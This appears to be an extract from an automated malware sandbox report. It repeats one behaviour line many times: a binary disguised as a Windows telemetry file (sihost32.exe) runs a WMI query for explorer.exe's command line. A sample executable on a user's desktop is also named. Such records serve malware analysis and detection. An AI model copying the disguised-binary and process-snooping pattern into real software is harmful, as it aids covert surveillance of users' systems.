Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

